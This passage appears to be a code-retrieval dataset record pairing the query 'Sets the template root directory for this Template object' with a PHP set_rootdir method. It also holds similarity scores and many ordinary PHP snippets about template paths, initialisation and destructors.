($name) {\n // Only copy the .htaccess.default if it default exists.\n if (file_exists($this->getSiteRoot() . '.htaccess.default')) {\n $this->_exec('cp ' . $this->getSiteRoot() . '.htaccess.default ' . $this->getSiteRoot() . '.htaccess');\n }\n\n $this->drupalCreateSettings();\n $this->npmInstall();\n $this->dbGet();\n $this->siteInit = TRUE;\n $this->start();\n }\n }\n else {\n $this->dbGet();\n $this->siteInit = TRUE;\n $this->start();\n }\n }", "protected function _setSystem()\n { $dirs = array(\n // symlink solar\n \"/source/solar/script/solar\",\n // symlink vendor\n \"/source/{$this->_vendor}/script/{$this->_vendor}\",\n // copy solar\n \"/script/solar\",\n // copy vendor\n \"/script/{$this->_vendor}\",\n );\n\n $this->_system = false;\n $file = __FILE__;\n foreach ($dirs as $dir) {\n // make comparison windows-friendly\n $dir = str_replace('/', DIRECTORY_SEPARATOR, $dir);\n $len = -1 * strlen($dir);\n if (substr($file, $len) == $dir) {\n $this->_system = substr($file, 0, $len);\n break;\n }\n }\n }", "public function setup (){\n\t\techo \"\\n\";\n\t\techo \"Setting up: `\".$this->installedComponents[0]->name.\"`\\n\";\n\t\techo \"version: `\".$this->installedComponents[0]->version.\"`\\n\";\n\t\t//$installed[0]->version_normalized;\n\t\t\n\t\t\n\t\t#var_dump(\"xyz\");\n\t\techo \"-----------------------------------------\\n\";\n\t\t\n\t\t$searchDir = realpath($this->vendorDir . '/../..');\n\t\tif( file_exists($searchDir.\"/configuration.ini\") ){\n\t\t\techo \"found a previous `configuration.ini` ( \".$searchDir.\"/configuration.ini\".\" ) \\n\";\t\n\t\t\t\n\t\t\t$app = $this->readConfiguration($searchDir.\"/configuration.ini\" );\n\t\t\t$coreComponent = $this->getComponentVersion($this->installedComponents);\n\t\t\t\n\t\t\techo \"\\nsettings\\n\";\n\t\t\t//print_r($app->settings['conn']);\n\t\t\t\n\t\t\t//print_r();\n\t\t\t\n\t\t\t/* create the $this->pdo instance */\n\t\t\t$this->createPDO($app->configuration->role->conn);\n\t\t\t\n\t\t\t\n\t\t\t#echo \"\\npaths\\n\";\n\t\t\t#print_r($app->paths);\n\t\t\t#echo \"\\ncoreComponent\\n\";\n\t\t\t#print_r($coreComponent);\n\t\t\t\n\t\t\t#echo \"need to add config-parse code here..\\n\";\n\t\t\t////////////////////////////////////////////////////\n\t\t\t$this->createdb($this->pdo);\n\t\t\t\n\t\t\t//echo \"\\n\\nFINISHED!!\\n\\n\";\n\t\t\t\n\t\t}else{\n\t\t\techo \"\\n No configuration found, starting setup.\\n\";\n\t\t\t$public_html = $this->public_html();\n\t\t\t$tempFolder = $this->tempFolder();\n\t\t\t\n\t\t\t/* create the $this->pdo instance from requested credentials */\n\t\t\t$dbCredentials = $this->dbCredentials();\n\t\t\t\n\t\t\t////////////////////////////////////////////////////\n\t\t\t$this->pdo;\n\t\t\techo \"\\n\\nUNFINISHED!!\\n\\n\";\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t\techo \"\\n\";\n\t}", "protected function setupInstallPaths()\n\t{\n\t\t$this->group = (string) $this->getManifest()->attributes()->group;\n\n\t\tif (empty($this->element) && empty($this->group))\n\t\t{\n\t\t\tthrow new \\RuntimeException(\n\t\t\t\t\\JText::sprintf(\n\t\t\t\t\t'JLIB_INSTALLER_ABORT_PLG_INSTALL_NO_FILE',\n\t\t\t\t\t\\JText::_('JLIB_INSTALLER_' . $this->route)\n\t\t\t\t)\n\t\t\t);\n\t\t}\n\n\t\t$this->parent->setPath('extension_root', JPATH_PLUGINS . '/' . $this->group . '/' . $this->element);\n\t}", "public function init()\n {\n $this->wxService = new WxService();\n parent::init();\n }", "protected function setUp() {\n dir::make($this->root);\n\n // set up a new library\n $this->library();\n\n }", "public function __construct() {\n\n\t\t$this->pluginName = 'ssm/core';\n\t\t$this->loader = new Loader();\n\n $this->defineConstants();\n\n\t}", "protected function init() {\n if (!$this->configModule) {\n $this->configModule = $this->id;\n }\n $moduleData = $this->getModuleData();\n\n if ($moduleData['disabled']) {\n $this->moduleDisabled();\n }\n\n if (($this->getSiteVar('SECURE_REQUIRED', 0, Config::SUPRESS_ERRORS) || $moduleData['secure']) && \n (!isset($_SERVER['HTTPS']) || ($_SERVER['HTTPS'] !='on'))) { \n $this->secureModule();\n }\n \n if ($this->getSiteVar('AUTHENTICATION_ENABLED')) {\n includePackage('Authentication');\n if ($moduleData['protected']) {\n if (!$this->isLoggedIn()) {\n $this->unauthorizedAccess();\n }\n }\n \n if (!$this->evaluateACLS(self::ACL_USER)) {\n $this->unauthorizedAccess();\n }\n }\n }", "private static function init() {\n\t\t\tself::$_ownerName = function_exists( 'get_current_user' ) ?\n\t\t\t\tget_current_user() :\n\t\t\t\t'unknown';\n\t\t\tself::$_isStorageLoggingOn = ( 1 == get_option( 'fs_storage_logger', 0 ) );\n\t\t\tself::$_abspathLength = strlen( ABSPATH );\n\t\t\tself::$_processID = mt_rand( 0, 32000 );\n\n\t\t\t// Process ID may be `false` on errors.\n\t\t\tif ( ! is_numeric( self::$_processID ) ) {\n\t\t\t\tself::$_processID = 0;\n\t\t\t}\n\t\t}", "public static function init()\n {\n self::$browsers = new Browser_Manager();\n self::$users = new User_Manager();\n self::$routes = new Routing_Manager();\n self::$pages = new Page_Manager();\n self::$themes = new Theme_Manager();\n self::$debug = new Debug_Manager();\n\n // disable debugging if we are unit testing\n if (defined('UNIT_TEST') && UNIT_TEST)\n {\n self::$debug->setEnabled(false);\n }\n\n\t\t// with the general environment loaded, we can now load\n\t\t// the modules that are app-specific\n self::$request = new App_Request();\n self::$response = new App_Response();\n self::$conditions = new App_Conditions();\n }", "function __construct() {\n self::add_extension();\n self::require_php_api();\n self::define_globals();\n self::require_subclasses();\n }", "public static function run_init_scripts() {\n foreach (self::$_roots as $module_name => $root_path) {\n if (file_exists($fname =\n ($root_path . self::MODULE_BOOTSTRAP_FILE))) {\n include $fname;\n }\n }\n }", "public function init()\n\t{\n\t\t// you may place code here to customize the module or the application\n\n\t\t// import the module-level models and components\n\t\t$this->setImport(array(\n\t\t\t\t'admin.models.*',\n\t\t\t\t'admin.components.*',\n\t\t));\n\n\t}" ]
[ "0.5972903", "0.5908435", "0.58396125", "0.58319306", "0.57652843", "0.5726929", "0.571533", "0.5678321", "0.5648633", "0.5607925", "0.56022733", "0.55677545", "0.5566109", "0.55619013", "0.55595803", "0.55356336", "0.55267256", "0.55208087", "0.55208087", "0.55208087", "0.55208087", "0.55208087", "0.55208087", "0.55069005", "0.54903096", "0.5485848", "0.5466665", "0.5443693", "0.54402053", "0.54396427", "0.54351175", "0.54344386", "0.54316115", "0.5427681", "0.5422697", "0.5420813", "0.5417193", "0.5385632", "0.53845984", "0.5355717", "0.5354603", "0.5350291", "0.53457665", "0.534441", "0.5335356", "0.53275687", "0.53264856", "0.5325", "0.5307869", "0.5295085", "0.5288862", "0.5261475", "0.52605575", "0.52460945", "0.5245118", "0.524416", "0.52352077", "0.52214795", "0.52161324", "0.5200305", "0.5195121", "0.51924074", "0.51776636", "0.5173379", "0.51591605", "0.51561797", "0.5153386", "0.51506186", "0.51481843", "0.5147346", "0.51390994", "0.51345146", "0.5116754", "0.5109798", "0.5107533", "0.51066643", "0.5104866", "0.51041806", "0.5103553", "0.5102633", "0.51014555", "0.5100403", "0.50989133", "0.5097338", "0.50953513", "0.5095277", "0.5088106", "0.5087787", "0.5085223", "0.50821674", "0.50781465", "0.50763965", "0.50758034", "0.50730205", "0.50708956", "0.50670546", "0.506615", "0.50626594", "0.50622433", "0.50595444", "0.5058713" ]
0.0
-1
Sets the template root directory for this Template object.
function set_rootdir($dir) { global $config; if (!@is_dir($dir)) { return false; } $dir = str_replace('\\', '/', $dir); // creating absolute path for cache $this->cachedir = IP_ROOT_PATH . XS_DIR_CACHE . '/'; // creating absolute path for current template and root dir $this->tpldir = IP_ROOT_PATH . 'templates/'; $this->tpldir_len = strlen($this->tpldir); $this->root = $dir; $this->tpl = $this->template_name($dir); // check configuration $this->get_config(); return true; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function set_root ($root)\n {\n $this->mPath = realpath($root) . '/';\n }", "function set_root($root)\r\n\t{\r\n\t\tif (empty($root)) return;\r\n\t\tif (!is_dir($root))\r\n\t\t{\r\n\t\t\t$this->error(\"phemplate::set_root(): $root is not a directory.\", 'warning');\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t\r\n\t\t$this->root = $root;\r\n\t\treturn true;\r\n\t}", "protected function setInitialRootPath() {}", "public function setTemplateRootPath($templateRootPath)\r\n {\r\n $this->templateRootPath = $templateRootPath;\r\n }", "public function setTemplateDir($path);", "function set_templates_directory() {\n $parent_basepath = get_template_directory() . '/';\n $current_basepath = get_stylesheet_directory() . '/';\n $template_dirs = array(\n 'templates',\n 'partials',\n 'twig-components',\n\t 'pattern-library'\n );\n\n $path_list = array();\n\n foreach ($template_dirs as $subdir) {\n $subdirs = $this->get_subdirectories($current_basepath . $subdir, $current_basepath);\n if ($subdirs) {\n $path_list = array_merge($path_list, $subdirs);\n }\n }\n\n if ( $parent_basepath !== $current_basepath ) {\n foreach ($template_dirs as $subdir) {\n $subdirs = $this->get_subdirectories($parent_basepath . $subdir, $parent_basepath);\n if ($subdirs) {\n $path_list = array_merge($path_list, $subdirs);\n }\n }\n }\n\n Timber::$dirname = $path_list;\n }", "public function setRoot(string $rootDir): void\n {\n $this->rootDir = $rootDir;\n }", "public function setTmpDirRoot(string $rootDir) {\n $this->tmpRootDir = $rootDir;\n }", "public function getDefaultTemplateRootPath()\r\n {\r\n return $this->getDirectoryName($this->defaultTemplateRootPath);\r\n }", "public static function setRootPath($root_path)\r\n {\r\n self::$_autoloadRootPath = $root_path;\r\n }", "public static function setRootPath($root_path)\n {\n self::$_autoloadRootPath = $root_path;\n }", "public function getTemplateRootPath()\r\n {\r\n return $this->getDirectoryName($this->templateRootPath);\r\n }", "public function setMageRoot($value) {\n if (preg_match('/^\\/\\w*/i', $value)) {\n $mage_root = $value;\n } else {\n $mage_root = getcwd() . self::$_DS . $value;\n }\n\n $this->_mage_root = $mage_root;\n }", "public function setRoot($root)\n {\n $this->root = $root;\n }", "public function setRoot($root)\n {\n $value = trim($root, '/');\n if ($value) {\n $value = '/' . $value;\n }\n $this->env['SCRIPT_NAME'] = $value;\n return $this;\n }", "public function setTemplateDir($path)\n {\n $this->templateDir[] = $path;\n }", "public function setViewRootDir($rootDir, $module=null)\n {\n if (is_null($module)) {\n $module = BModuleRegistry::i()->currentModule();\n }\n $isAbsPath = strpos($rootDir, '/') === 0 || strpos($rootDir, ':') === 1;\n if ($module) {\n $module->view_root_dir = $isAbsPath ? $rootDir : $module->root_dir . '/' . $rootDir;\n } else {\n $this->_viewRootDir = $rootDir;\n }\n\n return $this;\n }", "public function setRootPath($path);", "public function getTemplateRoot()\n {\n return TEMPLATE_ROOT;\n }", "public static function TemplateFolder()\n {\n return dirname(dirname(__DIR__)).DIRECTORY_SEPARATOR.Configuration::getApplicationFolder().DIRECTORY_SEPARATOR.'Template';\n }", "public function setDir($root = './', $cache = './cache/'){\r\n // -- On ampute le root du slash final, si il existe.\r\n $root = rtrim($root, '/');\r\n \r\n // -- Le dossier existe-t-il ?\r\n if (!is_dir($root)) {\r\n exit(\"Talus_TPL->setDir() :: Le répertoire <strong>{$root}</strong> n\\'existe pas.\");\r\n }\r\n \r\n $this->_root = $root;\r\n $this->_cache->setDir($cache);\r\n }", "public function setTemplateDir($dir)\r\n {\r\n $this->_smarty->setTemplateDir($dir);\r\n }", "public function setRootPath($var)\n {\n GPBUtil::checkString($var, True);\n $this->root_path = $var;\n\n return $this;\n }", "public function setTemplateRootPaths(array $templateRootPaths)\n {\n $this->templateView->setTemplateRootPaths($templateRootPaths);\n }", "public function setTemplatePath($string)\n {\n $this->templatePath = $string;\n $this->tpl->configure('tpl_dir', basedir.$string);\n }", "public function setTemplateDir($tplDir)\n\t{\n\t\t$this->_tplDir = $tplDir;\n\t}", "private function setTemplate(){\n if (isset($this->data['template']) && !empty($this->data['template'])){\n $template = APP_ROOT.'/app/templates/'.trim($this->data['template']).'.tpl';\n if (file_exists($template)){\n $this->template = $template;\n return;\n }\n }\n //default\n $this->template = APP_ROOT.'/app/templates/default.tpl';\n }", "public function setTemplate($template)\n {\n if (sfToolkit::isPathAbsolute($template))\n {\n print \">>>1\";\n $this->directory = dirname($template);\n $this->template = basename($template);\n }\n else\n {\n print \">>>2\";\n $this->directory = $this->context->getConfiguration()->getTemplateDir($this->moduleName, $template);\n $this->template = $template;\n }\n }", "public function setErrorTemplatePath($value)\n\t{\n\t\tif(($templatePath=Prado::getPathOfNamespace($value))!==null && is_dir($templatePath))\n\t\t\t$this->_templatePath=$templatePath;\n\t\telse\n\t\t\tthrow new TConfigurationException('errorhandler_errortemplatepath_invalid',$value);\n\t}", "public function setTemplateRootPaths(array $templateRootPaths)\n {\n $this->templateRootPaths = $templateRootPaths;\n }", "public function setViewRootDir($rootDir, $module = null)\n {\n if (null === $module) {\n $module = $this->BModuleRegistry->currentModule();\n }\n $isAbsPath = strpos($rootDir, '/') === 0 || strpos($rootDir, ':') === 1;\n if ($module) {\n $module->view_root_dir = $isAbsPath ? $rootDir : $module->root_dir . '/' . $rootDir;\n } else {\n $this->_viewRootDir = $rootDir;\n }\n\n return $this;\n }", "protected function setBasePath()\n {\n $this->container->instance('path.base', $this->basePath);\n }", "protected function setTemplatePaths() {}", "public function rootDirectory() {\r\n return $this->directoryRoot;\r\n }", "public static function setRoot($prm_isroot=false)\n\t{\n global $application_is_root;\n $application_is_root = $prm_isroot;\n\t}", "public function setRootPath($rootPath)\n {\n Argument::i()->test(1, 'string');\n\n $this->rootPath = $rootPath;\n\n return $this;\n }", "public static function setDocRoot($docRoot = '')\n {\n self::$isDocRootSet = true;\n if ($docRoot) {\n $_SERVER['DOCUMENT_ROOT'] = $docRoot;\n } elseif (isset($_SERVER['SERVER_SOFTWARE'])\n && 0 === strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS/')) {\n $_SERVER['DOCUMENT_ROOT'] = substr(\n $_SERVER['SCRIPT_FILENAME']\n ,0\n ,strlen($_SERVER['SCRIPT_FILENAME']) - strlen($_SERVER['SCRIPT_NAME']));\n $_SERVER['DOCUMENT_ROOT'] = rtrim($_SERVER['DOCUMENT_ROOT'], '\\\\');\n }\n }", "public function getTemplateDir()\n\t{\n\t\treturn DIR_TEMPLATE;\n\t}", "public function getRootDir();", "protected function defineOriginalRootPath() {}", "public function setRoot($root)\n {\n $this->root = rtrim($root, '\\\\/') . $this->separator;\n\n return $this;\n }", "public function rootDir(): string\n {\n return $this->root;\n }", "public function getRootDir()\n {\n return $this->rootDir;\n }", "protected function template_dir() {\n\n return $this->option( 'template_dir' );\n\n }", "private function figureOutRootPath()\n {\n $this->setRootPath(storage_path($this->getDiffsRequestFolder()));\n }", "protected function setLayoutRootPath(array $conf)\n {\n // Override the default layout path via typoscript\n $layoutPaths = [];\n if (isset($conf['layoutRootPath']) || isset($conf['layoutRootPath.'])) {\n $layoutRootPath = isset($conf['layoutRootPath.'])\n ? $this->cObj->stdWrap($conf['layoutRootPath'], $conf['layoutRootPath.'])\n : $conf['layoutRootPath'];\n $layoutPaths[] = GeneralUtility::getFileAbsFileName($layoutRootPath);\n }\n if (isset($conf['layoutRootPaths.'])) {\n $layoutPaths = array_replace($layoutPaths, $this->applyStandardWrapToFluidPaths($conf['layoutRootPaths.']));\n }\n if (!empty($layoutPaths)) {\n $this->view->setLayoutRootPaths($layoutPaths);\n }\n }", "public function __construct()\n {\n $this->rootDir = '/tmp';\n }", "public function viewRootDir($rootDir = null)\n {\n if (is_null($rootDir)) {\n return $this->getViewRootDir();\n }\n\n return $this->setViewRootDir($rootDir);\n }", "function set_subsite_root() {\n\t\t$this->is_subsite_root = true;\n\t}", "protected function setInitialRelativePath() {}", "protected function _set_dbrootdir($rootdir){\n $this->_db_root_dir=$rootdir;\n }", "public function setContentDirectoryPath($path)\n {\n if ($path[strlen($path) - 1] !== '/')\n $path .= '/';\n $this->contentDirectoryPath = $path;\n }", "public static function templateDir() {\n\t\t\n\t\treturn __DIR__ . '/templates';\n\t}", "public function setRoot($root)\n {\n $this->_root = $root;\n return $this;\n }", "function change_theme_root_dir(){\r\n\t$new_root = dirname( __FILE__ ) . '/templates/';\r\n\tregister_theme_directory( $new_root );\r\n\treturn $new_root;\r\n}", "public function setDataRootPath($dataRootPath)\n\t{\n\t\t$this->dataRootPath = $dataRootPath;\n\t}", "public function getViewRootDir()\n {\n $module = BModuleRegistry::i()->currentModule();\n\n return $module ? $module->view_root_dir : $this->_viewRootDir;\n }", "public function getTemplateDir()\n {\n return $this->templateDir;\n }", "private function getTemplatesFolderLocation()\n {\n return str_replace('//', '/', APP_DIR . '/') . self::TEMPLATES_DIR;\n }", "public function get_template_root()\n {\n }", "function setRootContentType ($content_type) {\r\n $this->_rootContentType = $content_type;\r\n }", "function setRoot($value)\r\n {\r\n $this->_root=$value;\r\n //Gets the vars from the root object to get the pointers for the components\r\n $this->_rootvars=get_object_vars($this->_root);\r\n\r\n //Clears parents list and sets the root as the first parent\r\n $this->_parents->clear();\r\n $this->_parents->add($this->_root);\r\n\r\n }", "public function rootPath()\n {\n return public_path() . $this->helper->ds();\n }", "public function setDirectoryName($dir)\n {\n // Define a hard theme path for the theme\n $this->path = PUBLIC_THEME_DIR . '/' . $dir;\n $this->directory = $dir;\n }", "public function setAppBasePath($appRootPath=null){\n\n $this->appRootPath = $appRootPath;\n $_SERVER['APP_ROOT_PATH']= $this->appRootPath;\n\n }", "protected function setPath()\n {\n $this->path = self::PATH_SKIN\n . LC_DS . $this->skin\n . ($this->locale && $this->locale != 'en' ? '_' . $this->locale : '')\n . LC_DS;\n }", "public function getRootDir()\n {\n return sys_get_temp_dir() . '/base-kernel/' . 'kernel-' . substr(\n hash(\n 'md5',\n json_encode([\n $this->bundlesToLoad,\n $this->configuration,\n $this->routes,\n ])\n ),\n 0,\n 10\n );\n }", "public function getTemplateDirectory() : string {\n\t\t\treturn $this->templateDirectory;\n\t\t}", "function _setup_template($template)\n {\n // default directory for templates\n $this->template_dir = $this->get_template_path($template);\n\t\t//echo $this->template_dir . '<br>';\n $this->config_dir = $this->template_dir . '/config';\n }", "function setXTemplatePath($value) {\n $this->xTemplatePath= $value;\n}", "protected function getRootDir()\n {\n return $this->appConfig->getRootDir();\n }", "public function setTemplateDir($dir)\n {\n $this->templateDir = $dir;\n return $this;\n }", "function set_base_dir($dir) {\n if($dir[strlen($dir)-1] != '/') {\n $dir .= '/'; \n }\n \n $this->base_dir = $dir;\n }", "public function getViewRootDir()\n {\n $module = $this->BModuleRegistry->currentModule();\n\n return $module ? $module->view_root_dir : $this->_viewRootDir;\n }", "function _theme_root($dir) {\n\t\treturn $this->theme_root;\n\t}", "public function setViewDir($dir=null)\n {\n // see if the path is valid\n $templatePath = ($dir !== null) ? $dir : __DIR__.'/../app/views';\n\n if (realpath($templatePath) !== false) {\n $this->templateDir = realpath($templatePath);\n }\n return $this;\n }", "public function getRootDir()\n {\n return $this->server['DOCUMENT_ROOT'];\n }", "public function getRootDirectory();", "public static function setTemplatePath ($path)\n\t{\n\t\tset_template_path ($path);\n\t}", "public function setRootFolderName($name)\n {\n $this->rootFolderName = $name;\n }", "public function setLayoutRootPath($layoutRootPath)\r\n {\r\n $this->layoutRootPath = $layoutRootPath;\r\n }", "public function getBaseRootDir()\n {\n return $this->paths->getBaseRootDir();\n }", "public function getRootDir()\n\t{\n\t\treturn $this->_rootDir;\n\t}", "function getTemplateDir()\n {\n return $this->_objectPool[$this->_lastUsedObjectKey]->getOption('templateDir');\n }", "public function getDefaultLayoutRootPath()\r\n {\r\n return $this->getDirectoryName($this->defaultLayoutRootPath);\r\n }", "public function setPartialRootPath($partialRootPath)\r\n {\r\n $this->partialRootPath = $partialRootPath;\r\n }", "function _theme_root( $dir ) {\n\t\treturn $this->theme_root;\n\t}", "function set_template( $template_file = 'template.php' )\n {\n // make sure that $template_file has .php extension\n $template_file = substr( $template_file, -4 ) == '.php' ? $template_file : ( $template_file . \".php\" );\n\n $this->template = \"../../{$this->settings->root_folder}/themes/{$this->settings->theme}/{$template_file}\";\n }", "public function setTemplate( $template )\n\t{\n\t\t// Search for the template layout.\n\t\tif ( 'MAIN' == $this->context_name )\n\t\t{\n\t\t\t$found\t= false;\n\t\t\t$path\t= dirname( $template );\n\n\n\t\t\tfor ( $i = 0; !$found && $i < 3; $i++ )\n\t\t\t{\n\t\t\t\tif ( file_exists( TEMPLATE_PATH . $path . '/layout' . TEMPLATE_EXTENSION ) )\n\t\t\t\t{\n\t\t\t\t\t$found = true;\n\t\t\t\t\t$path = $path . '/layout' . TEMPLATE_EXTENSION;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$path\t= dirname( $path );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( $found )\n\t\t\t{\n\t\t\t\t$this->layout\t= $this->twig->loadTemplate( $path );\n\t\t\t}\n\t\t}\n\t\t$this->current_context['template'] = $this->twig->loadTemplate( $template );\n\t}", "public function setPartialRootPath($partialRootPath) {\n $this->partialRootPath = $partialRootPath;\n }", "public function getTemplateDir()\n\t{\n\t\treturn $this->_tplDir;\n\t}", "public function setTemplate($template = '')\n {\n $this->template = ROOT . DS . $this->configuration->get('app.name') . DS . 'view' . DS . $this->action . DS . $template . '.phtml';\n }", "protected static function _setPageRoot($dir = '/app/view') {\n Processor::getInstance()->setPageRoot($dir);\n }", "public function getThemeRootDir()\n {\n return $this->paths->getThemeRootDir();\n }", "function setTemplateDir($dirs)\r\n\t{\r\n\t\tif (is_array($dirs))\r\n\t\t{\r\n\t\t\tforeach ($dirs as $key => $dir)\r\n\t\t\t\t$dirs[$key] = $this->_createDir($dir);\r\n\t\t\treturn parent::setTemplateDir($dirs);\r\n\t\t}\r\n\t\telse\r\n\t\t\treturn parent::setTemplateDir($this->_createDir($dirs));\r\n\t}", "protected function getUploadRootDir()\n {\n // documents should be saved\n return '/home/meriem/therlab/web/'.$this->getUploadDir();\n }", "protected function setRootControllerNamespace()\n {\n if (is_null($this->namespace)) return;\n $this->app['Illuminate\\Contracts\\Routing\\UrlGenerator']\n ->setRootControllerNamespace($this->namespace);\n }", "public function setRootForCommands($root)\n {\n $this->_root = $root;\n }", "private function createRootFolder()\n {\n $this->rootFolder = $this->createFolder($this->baseFolderRealPath, \\uniqid('xlsx', true));\n\n return $this;\n }", "static public function getRootPath() {\n\t\treturn Page::$base_path;\n\t}" ]
[ "0.67855465", "0.6703368", "0.66870487", "0.65651196", "0.65539056", "0.6532152", "0.6521047", "0.6481413", "0.6344516", "0.6334965", "0.63245773", "0.61083204", "0.60782844", "0.60559565", "0.60203034", "0.5984084", "0.5905328", "0.5892227", "0.58250713", "0.58187824", "0.5806992", "0.5805617", "0.58017176", "0.57842827", "0.57785594", "0.5769392", "0.5768718", "0.5731091", "0.57289994", "0.5710754", "0.5702344", "0.5670422", "0.56560576", "0.5634918", "0.56176025", "0.5601272", "0.5591288", "0.55847484", "0.5551996", "0.55490184", "0.55352867", "0.5523558", "0.5513281", "0.550943", "0.5508709", "0.5506285", "0.549971", "0.54993385", "0.5496576", "0.54838294", "0.5455478", "0.5449482", "0.543972", "0.54362166", "0.5435686", "0.5428115", "0.5416114", "0.54022163", "0.54014975", "0.5393841", "0.53876436", "0.53865695", "0.5373548", "0.53588796", "0.5350502", "0.5344349", "0.533847", "0.5334924", "0.53342056", "0.5331456", "0.53190833", "0.5319012", "0.53080195", "0.53042984", "0.527463", "0.5266536", "0.5264157", "0.52620214", "0.5258374", "0.5256262", "0.52456063", "0.52455926", "0.5243834", "0.5239994", "0.5239549", "0.5229727", "0.52283204", "0.52166444", "0.5210968", "0.521019", "0.5200592", "0.51986355", "0.51959765", "0.51911783", "0.5176674", "0.51747894", "0.51719475", "0.51708883", "0.5158417", "0.5156148" ]
0.6719322
1
Destroys this template object. Should be called when you're done with it, in order to clear out the template data so you can load/parse a new template set.
function destroy() { $this->_tpldata = array('.' => array(0 => array())); $this->vars = &$this->_tpldata['.'][0]; $this->xs_started = 0; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delTemplateData() {\r\n\t\t$this->templateData = [];\r\n\t}", "function unset_template()\r\n\t{\r\n\t\t$this->_template = null;\r\n\t\t$this->set_mode(self::OUTPUT_MODE_NORMAL);\r\n\t}", "public function destroy()\n {\n // TODO: Implement destroy() method.\n }", "public function destroy()\n {\n /**\n * We don't clean up swap because of performance considerations\n * Cleaning is performed by Memory Manager destructor\n */\n\n $this->_memManager->unlink($this, $this->_id);\n }", "public function delete()\n\t{\n\t\t$db = App\\Db::getInstance();\n\t\t$templateId = $this->getId();\n\t\t$db->createCommand()\n\t\t\t->delete('vtiger_trees_templates', ['templateid' => $templateId])\n\t\t\t->execute();\n\t\t$db->createCommand()\n\t\t\t->delete('vtiger_trees_templates_data', ['templateid' => $templateId])\n\t\t\t->execute();\n\t\t$this->clearCache();\n\t}", "function destroy() {\n xml_parser_free($this->xml_parser);\n }", "public function destroy()\n\t{\n\t\t//\n\t}", "public function __destruct()\n {\n if (file_exists($this->filename)) {\n unlink($this->filename);\n }\n\n foreach ($this->tempFiles as $file) {\n $this->filesystem->remove($file);\n }\n }", "public function teardown()\n {\n if ($this->csvFile) {\n unlink($this->csvFile);\n $this->csvFile = null;\n }\n\n if ($this->photoZip) {\n unlink($this->photoZip);\n $this->photoZip = null;\n }\n }", "protected function tear_down()\n {\n unset($this->_object, $this->_view);\n }", "public function clearTemplateCache()\n {\n $this->loadedTemplates = array();\n }", "public function destroy() {}", "public function destroy() {}", "public function destroy() {}", "public function destroy() {}", "public function destroy() {}", "public function destroy() {}", "public function destroy();", "public function destroy();", "public function destroy();", "public function destroy();", "public function destroy();", "public function destroy();", "public function destroy();", "public static function destroy() {}", "public function destroy($id) {\n Template::destroy($id);\n }", "public function __destruct()\n {\n API::ffi()->ts_parser_delete($this->data);\n }", "public function __destruct()\n {\n unset($this->vars);\n }", "public function destroy() {\n unset($this->items);\n $this->items = false;\n }", "public static function destroy()\n {\n static::getInstance()->destroy();\n }", "public static function destroy();", "public function __destruct() {\n if (file_exists($this->tempFile)) {\n unlink($this->tempFile);\n }\n }", "public function destroy(): void\n {\n foreach ($this->getAll() as $k => $v) {\n if (strlen(strval($k)) > 0) {\n $this->remove($k);\n }\n }\n return;\n }", "public function destroy() {\n\t\t$this->removeInstance();\n\t\t$this->tearDownTestDatabase();\n\t}", "public function destroy() {\n }", "public function destroy()\r\n {\r\n }", "public function destroy()\r\n {\r\n }", "public function __destruct() {\n\t\t\tparent::__destruct();\n\t\t\tunset($this->metadata);\n\t\t\tunset($this->models);\n\t\t\tunset($this->translators);\n\t\t}", "public function destroy()\r\n {\r\n //\r\n }", "public function destroy()\n {\n // no need to destroy new or destroyed sessions\n if ($this->tokenExpiry === null || $this->destroyed === true) {\n return;\n }\n\n // remove session file\n $this->sessions->store()->destroy($this->tokenExpiry, $this->tokenId);\n $this->destroyed = true;\n $this->writeMode = false;\n $this->needsRetransmission = false;\n\n // remove cookie\n if ($this->mode === 'cookie') {\n Cookie::remove($this->sessions->cookieName());\n }\n }", "public function destroy()\n {\n \n }", "public function __destruct()\n {\n //skip the `getImageResource` method because we don't want to load the resource just to destroy it\n if ($this->image) {\n $this->image->destroy();\n }\n // remove our temp file if it exists\n if (file_exists($this->getTempPath() ?? '')) {\n unlink($this->getTempPath() ?? '');\n }\n }", "function destructor()\n\t{\n\t\tunset($Resources,$FileName,$FileType,$FileSize,$NumRes,$FileVersion,$Description,$DataOffset);\n\t}", "public function __destruct()\n {\n if($this->_gc_temp_files === true && empty($this->_tmp_files) === false)\n {\n foreach ($this->_tmp_files as $path)\n {\n if(is_file($path) === true)\n {\n @unlink($path);\n }\n }\n }\n }", "public static function destroy()\n {\n self::$instance = NULL;\n }", "public function __destruct() {\n\t\tif(isset($this->tmpPath) && file_exists($this->tmpPath)) {\n\t\t\tunlink($this->tmpPath);\n\t\t}\n\t}", "public function destroy(CTPL $cTPL)\n {\n //\n }", "public function __destroy()\n\t{\n\t\t$this->Obj_Doc->disconnectWorksheets();\n\t\tunset($this->Obj_Doc);\n\t\t$this->Obj_Doc = false;\n\t}", "public function destroy()\n\t{\n\t\t\n\t}", "public function __destruct()\n {\n if (file_exists($this->tempFilesFromFilename)) {\n unlink($this->tempFilesFromFilename);\n }\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "public function destroy()\n {\n }", "function __destruct()\n {\n if ($this->renderPage) {\n $this->_template->render($this->renderHeader);\n }\n }", "public function destroy()\n {\n }", "public function cleanup()\n\t{\n\t\t$this->getObject()->cleanup();\n\t}", "public function destroy()\n {\n parent::destroy();\n foreach ($this->parameters as $param) {\n $param->destroy();\n }\n $this->parameters = [];\n }", "protected function purge()\n {\n 